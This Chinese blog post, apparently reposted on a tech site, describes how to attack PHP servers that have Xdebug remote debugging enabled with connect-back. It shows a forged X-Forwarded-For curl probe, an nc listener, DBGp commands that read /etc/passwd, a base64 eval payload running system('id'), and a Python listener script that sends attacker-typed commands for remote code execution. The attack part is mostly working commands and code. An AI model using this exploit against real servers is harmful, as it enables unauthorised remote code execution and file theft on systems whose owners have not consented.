不是吧?阿sir!周末你就不学习了吗?
本周的研究课题还没结束,先发一篇旧文
本文主要内容为xdebug的攻击点,还是挺有意思的。
对了,本周在读书目为《思考快与慢》,翻译不是特别接地气,读起来挺吃力,所以到现在还没读完,虽然我也没奢望一周读完它,毕竟1000多页呢
上周读完了一本雷军传,自认为写的没什么出彩的地方,也就没有写书评,就连读书笔记都少得可怜,下周的书目还没有定,不知道大家有没有什么推荐?
《思考快与慢》先放一放,有点难读,虽然内容确实不错
下面进入正题
原理简介
xdebug是调试php代码的工具,遵循DBGp协议。其工作原理大概如下(搬运):
- IDE(如phpstorm)已经集成了一个遵循DBGp的Xdebug插件,当开启它的时候,会在本地开一个xdebug调试服务,监听在调试所设置的端口上,默认是9000,这个服务会监听所有到9000端口的连接。在phpstorm中,位于:工具栏>run>Start / Stop Listening for PHP Xdebug Connetions
- 当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上,不仅如此,我们还可以给服务端发送命令,执行一些操作,甚至是命令执行。
另外,xdebug不是伴随着php的,要使用它,需要我们自行安装,可费劲er了。当然我们可以直接到docker hub上找现成的环境。
安装完xdebug你以为就结束了吗,没有!
我们还需要对xdeubg进行配置,网上大多数的教程都是说在php.ini里配置,但是我使用的这个docker环境,xdebug是有一个单独的配置文件的
我就直接在这里面配置了(其实docker环境已经配置的差不多了,我只是按需修改了一下)
我的配置文件如下:
zend_extension=xdebug.so
xdebug.idekey="PHPSTORM"
xdebug.remote_enable=1
xdebug.remote_autostart=0
xdebug.remote_connect_back=1
xdebug.remote_port=9000
几个常见配置解释
设置调试工具
xdebug.idekey="PHPSTORM"
绑定远程调试主机地址
xdebug.remote_host=localhost
远程主机监听的端口
xdebug.remote_port=9000
开启回连
xdebug.remote_connect_back = 1
开启xdebug
xdebug.remote_enable = 1
经过上面的描述,你应该大概了解到其实php的调试是通过客户端、服务端经过DBGp协议通信来协调实现的
这也是为什么php支持远程调试的原因,既然可以远程通信,肯定是需要知道对方的地址的
而xdebug又有两种方式来确定ide的地址,一种是固定ip的方式,另一种就是非固定ip的方式
固定ip方式就是直接在配置xdeubg配置文件或者php.ini里写死IDE的公网地址,这样我们是不能利用的。配置里会有类似下面这两项:
xdebug.remote_host=localhost
xdebug.remote_port=9000
另一种方式就是自动回连到请求地址,配置会出现下面这一项:
xdebug.remote_connect_back = 1
而自动回连的ip地址是来自下面这几处:
- xdebug.remote_addr_header
- X-Forwarded-For
- Remote-Addr
我们知道xff头是可以控制的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上,这不就出大问题了吗
利用条件
xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host
直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip
xdebug.remote_enable = 1 //开启xdebug
xdebug.remote_log = /tmp/test.log
DBGp协议使用方法
source命令
source -i transaction_id -f fileURI
transactionid 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 openbasedir。
利用方式
source -i 1 -f file:///etc/passwd
还可以利用php://filter ssrf等
脚本里面要这样写
conn.sendall('source -i 1 -f %sx00' % data)
eval命令
用于执行PHP代码
eval -i transaction_id -- {DATA}
{DATA} 为 base64 过的 PHP 代码。利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):
eval -i 1 -- c3lzdGVtKCJpZCIpOw==
脚本里面要这样写
conn.sendall('eval -i 1 -- %sx00' % data.encode('base64'))
还有一些其他协议可用,这里就不一一搬运了,2333333
攻击方式
前置知识差不多了,那么要如何利用呢,首先我们发送如下请求,探测目标是否开启了xdeubg并支持回连
curl http://localhost:8123/joomla346/index.php?XDEBUG_SESSION_START=123 -H "X-Forwarded-For:172.17.0.1"
其中xff在真实环境下应该设置为你的公网ip,你公网vps需要监听9000端口(默认是9000端口,目标服务器的xdebug也可能回连其他端口吧~)
nc -lvvp 9000
如果vps收到如下请求,则表示问题存在
然后我们可以写个交互式的利用脚本:
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data =conn.recv(1024)
print(client_data)
data =raw_input('>> ')
conn.sendall('eval-i 1 -- %sx00' % data.encode('base64'))
上面这个脚本就是利用eval命令执行php代码,我们可以通过输入system(命令)
的方式执行系统命令
参考
https://blog.spoock.com/2017/09/19/xdebug-attack-surface/
- SQL之收集SQL Server线程等待信息
- 聚合索引(clustered index) / 非聚合索引(nonclustered index)
- 域名资讯:单词域名can.com以15.5万美金成功交易
- jQuery无缝图片横向(水平)/竖向(垂直)滚动
- Centos下MooseFS(MFS)分布式存储共享环境部署记录
- MFS+Keepalived双机高可用热备方案操作记录
- Docker容器学习梳理-容器时间跟宿主机时间同步
- AS1.0(2.0)中的XML示例
- kvm虚拟机日常操作命令梳理
- mongodb 总结
- 关于微信小程序内置组件swiper,circular使用分享
- zabbix问题记录
- MSDTC 故障排除
- 洪泰智造工场&腾讯云创业加速营全球招募
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- ubuntu14.04安装opencv3.0.0的操作方法
- Linux中让alias设置永久生效的方法详解
- Centos系统下“无法打开并写入文件”问题的解决
- 如何在Linux下设置录音笔时间
- Linux下ZooKeeper分布式集群安装教程
- CentOS 6.5中利用yum搭建LNMP环境的步骤详解
- Linux下Kafka分布式集群安装教程
- Centos下升级Python及Mongodb驱动安装问题
- centOS6中使用crontab定时运行执行jar程序的脚本
- 基于cobbler 实现自动安装linux系统
- Polysh命令实现多日志查询的方法示例
- linux中启动tomcat后浏览器无法访问的解决方法
- Linux查看系统配置常用命令详解
- LNMP下提示File not found问题的解决方法
- Linux 配置SSH免密登录 “ssh-keygen”的基本用法